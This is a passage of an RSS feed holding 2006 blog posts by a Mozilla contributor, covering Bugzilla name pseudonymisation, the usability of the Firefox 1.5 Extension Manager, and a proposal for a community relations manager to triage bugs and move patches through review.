  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=397a03ac393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/397a03ac393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=397a03ac393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/397a03ac393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Wed, 11 Oct 2006 03:12:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-397a03ac393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Of Mice, Men, Gods, Mortals, and classes in between</title>
            <link>http://viper.haque.net/~timeless/blog/130/</link>
            <description><![CDATA[

   


<p>
I know <a href="https://bugzilla.gnome.org">bugzilla.gnome.org</a> uses points...
<!--I'm wondering if people here have some time to help me consider a use for points.-->
currently when I visit BGO, it shows me a real name and a point category.
</p>
<p>
I'm unfortunately in a position where I want to only show real names to people if:
<ol type="a" class="alpha">
<li>The person being shown specifically blesses the person/person's group
<li>The person observing and the person being observed are relatively "close" as measured by point categories
</ol>
If neither apply
then instead of seeing real names, you'd see <u>point-category</u>-person-<b>A</b>
with the letters (A, B, ...) being given out sequentially to accounts involved
in the bug. Letters would only be uniquely assigned to accounts for individual
bugs.
</p>
<p>
OK, point categories...
<ul>
<li>probably assigned as ranges say 1..5, 6..10, 11..15, 16..20, ...
<li>possibly re-centered based on the observer.
</ul>
The goal is to obfuscate who is doing what without actually hurting a user's ability to interact with people.
The problem is basically that we have some people who are known for making changes from which other people can financially benefit.
</p>
<p>
&lt;marnanel&gt; gosh, how exciting. covert subterfuge and stuff.
</p>
<p>
Imagine you were able to watch people entering and leaving:
<pre>
E Capitol St NE & 1st St NE, Washington, DC 20001
</pre>
</p>
<p>
And from there you could figure out what is happening inside, without looking,
and then you could do something which would earn you money/fame/fortune -
unfortunately, harming the world in the process.
</p>
<p>
&lt;marnanel&gt; this is <b>bugzilla.fbi.gov</b> or something? :)
</p>
<p>
The hypothesis is that you wouldn't be able to do this if you couldn't see the faces of the people.
The problem is that if you can't see any of the faces at all, then you don't know who is at least somewhat important.
It's OK to recognize the difference between a clerk and a cleaner and an elected rep.
I need to give a parallel to my problem w/o explicitly writing it.
</p>
<p>
I think the parallel works reasonably well.
<!--Sadly, I'm not sure I remember the problem-->
</p>

  <span class="net_nemein_favourites">2 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=39babb04393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/39babb04393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>1 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=39babb04393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/39babb04393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Wed, 11 Oct 2006 02:43:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-39babb04393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Extension Manager</title>
            <link>http://viper.haque.net/~timeless/blog/127/</link>
            <description><![CDATA[

   <title>Extension Manager</title>
<link rel=stylesheet type="text/css" href="http://viper.haque.net/~timeless/blog/127/../blog.css">
<h1>Extension Manager</h1>

<p>
I'm sure that the Addons Manager
<!--I think that's what might be in Firefox 3.0-->
<!--but I'm an end user, so how should I know?-->
is better. But sometimes I'm an end user.

<img alt="Extension Manager from Firefox 1.5 with my extensions" src="http://viper.haque.net/~timeless/blog/127/em.png">
<p>
Take a look at this picture and study it for a bit.

Pretend you're an end user an answer these questions:
<p>
<h3>What ordering scheme is it using for this list?</h3>

I have no idea.
<p>
If you don't like this question, let me try again. Pretend you're an end user
and you're looking for an extension and you know its name.

<h3>How would you find the XHML Mobile Profile extension in this list?</h3>
<p>
Because of the fact that I can't figure out the ordering scheme, it looks like
I'm going to have to read all of them.

<h3>How would you find all extensions relating to CSS?</h3>
<p>
Hrm, looks like you're going to have to read each of:
<ol>
<li>The name
<li>The contract (for all you know it's css@vendor and the name and description
don't have css).
<li>The description
<li>The ICON!
</ol>
For a moment, pretend you're blind (if this isn't politically correct, contact
me with alternate wording).
</p>
<h3>Is it at all possible for you to find all the CSS related extensions?</h3>
</p>
I believe the answer is <b>no</b>. :(, I'm sorry.
</p>
<h3>Are you sure you don't have to read the version field too?</h3>
</p>
Nope, I'm not at all sure given that there seems to be quite a lot of
diversity among the version fields.
</p>
<h3>Are any of these extensions in unusual states?</h3>
</p>
As it happens, two of them are, but I'm not sure anyone could easily figure it
out. I'll ask some people and see.
</p>
<h3>Why is the window so wide?</h3>
</p>
I'm glad you asked. If I didn't make it wider, you couldn't see all the text
for one of those rows.
</p>
Whose fault is that?
</p>
Well, you could claim that the author wrote a bad description. But people
prefer to complain about firefox not behaving well when outragious things
happen.
<!--look at the complaints about tab overflow-->
</p>
<h3>What version am I runnning?</h3>
</p>
You mean you can't tell?
</p>
I guess you can't, heh. This is Firefox 1.5.0.5 Official. I'd make a picture
but the last time i tried to do that, the results
<a href="http://www.webwizardry.net/~timeless/ff1505-browser.png">weren't particularly stunning</a>.
</p>
<h3>What does the extension manager normally look like?</h3>
<img alt="Fairly normal window size of Extension Manager" src="http://viper.haque.net/~timeless/blog/127/ems.png">

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=392fb388393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/392fb388393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=392fb388393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/392fb388393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Tue, 01 Aug 2006 10:36:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-392fb388393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Proposal for a Community Relations Manager</title>
            <link>http://viper.haque.net/~timeless/blog/126/</link>
            <description><![CDATA[

   <title>Proposal for a Community Relations Manager</title>
<link rel=stylesheet type="text/css" href="http://viper.haque.net/~timeless/blog/126/../blog.css">
<h1>Proposal for a Community Relations Manager</h1>

My suggestion is very simple. Hire a Community Relations Manager (basically to fill the role that Asa had when he first started working for mozilla.org). The main requirements are good communication skills and good interpersonal relations.
<p>
Each of the individual items listed below is optional, even just one person working on a single point a couple of hours a month would be a big win.

There are two areas of focus (so this job shouldn't be boring):
<p>
One area is old bugs in all components, they need triaging (pick any component or any product). One restriction is that the number of bugmails that should be generated per component per week should be limited. i.e. Avoid the approach of flooding developers with tens of thousands of emails. Limits should be somewhere around 5-10 bugs per component per day, possibly capped to 25 per component per week. The goal here is to help developers by cleaning up their components but without causing them to lose lots of time figuring out what just happened and whether they need to read hundreds of bugs start to finish to second guess the changes that were just made.

Things that can be done:
<ol type="A" class="alpha">
<li>Resolve old bugs as duplicates.
<li>Find dependencies.
<li>Test a bug and determine that it can be resolved worksforme.
<li>Find bugs that have patches but no requests (this unfortunately goes with the next task).
<li>Try to reduce bugs to simpler testcases.
<li>If a comment in a bug asked someone for information and there's no response, try to contact that person and get the information that was requested.
<li>If a bug seems fixed, and there are already too many requests and such above, use bonsai+old builds to track down the bug that fixed it.
</ol>
The second area is shepherding patches through the review process. There are a number of pieces.
<ol type="A" class="alpha">
<li>Building a list of people with CVS access, who are alive, and what email addresses, IRC names, and Bugzilla accounts they have, plus what time zone's they're in and such, possibly other ways to contact them. also figuring out if people are on vacation. The reason for this is that you don't want to say the wrong thing to the wrong person, if a person doesn't have CVS access they shouldn't be asked why they didn't commit something, instead someone should be found who can, is available, and asked to do the commit.
<li>Build a list of people who really are module peers or actively work in a module. Build a list of people who are gone, and find out who replaced them. Note that such tasks can be done incrementally (by limiting which areas the later items in this list are done in).
<li>Working through the request queue checking old patches to see what happened and what's next.
<ol>
<li>Determine if the bug is already fixed.
<li>Determine if the patch is still useful even if the bug is already fixed - in this case, probably filing a new bug with an updated copy of the patch and annotating the old bug/patch with the new bug number.
<li>Determine if the patch still applies, if not, there are scripts that can be used to convert the patch into one that does (this is obviously a more technical task than some of the others). If the person isn't comfortable doing updates to patches, it should be sufficient to flag the patches with a note that they don't apply so that some later person looking through things will know what needs to be done and could do it.
  &lt;<a href="http://viper.haque.net/~timeless/patchtools/">http://viper.haque.net/~timeless/patchtools/</a>&gt; has tools mergePcvs and related which can be used to update a patch. Similarly if someone has complained that there isn't enough context in a patch, this is something that can easily be done using patch2cvs and another cvs diff / cvsdo diff with whatever flags the complainer asked for.
</ol>
<li>If the patch has no specifically requested reviewer, find someone (see notes above about limiting the number of emails that should be given to a single developer).
<li>If the patch requests review or equivalent from someone who is gone, find someone who isn't gone.
<li>If the patch needs super review and doesn't have it, but does have review, find a super reviewer for it.
<li>If the patch has all reviews and the tree is open, find someone to do the commit (keeping in mind whether the patch author has CVS access).
<li>(and these aren't in a particularly good order) if the patch got r+sr with "please make &lt;blah simple change&gt;", make the changes, test them and post the new patch and arrange for it to be committed. -- i.e. don't expect contributors, new, old, gone, lost, or busy to have time to address small things. If the changes are too hard for the person involved, there's a mentor who can either help the person learn how to do them, or who can help the person find someone else who can do them (again, limit the number of requests made per week per person, and try to spread them around).
<li>If there's a request pending from someone who is alive and still associated with the community, contact that person privately (using the lists from earlier) and ask what can be done to get the patch reviewed. Again, limit the number of requests per person per day/week, be aware of people on vacation. Probably not more than 2 requests per person per week, maybe fewer, but possibly a couple of pings each week -- not too pushy, but, these patches have been waiting around for years, so the excuse that developers "didn't have time" really doesn't hold water.
</ol>
</ol>
<h2>Footnotes</h2>
<ol>
<li>There should be a limit to the number of requests made of a single
person, not more than 3 at a time, not more than 7 a week. i.e. If I've filed
100 bugs in a component, and each of those bugs resulted in someone asking me
a question, I don't want to wake up one morning and see 100 emails asking me
for information.
<li>IMHO, It is important for this person to be publicly employed by Mozilla Foundation (probably not even Mozilla Corporation) to give this person enough authority when interacting with contributors of all kinds (new, established, old, employed).
</ol>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=38ee7e9a393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/38ee7e9a393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=38ee7e9a393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/38ee7e9a393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Tue, 18 Jul 2006 12:16:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-38ee7e9a393411ddb2e991091f51a00aa00a</guid>
        </item>
    </channel>
</rss>
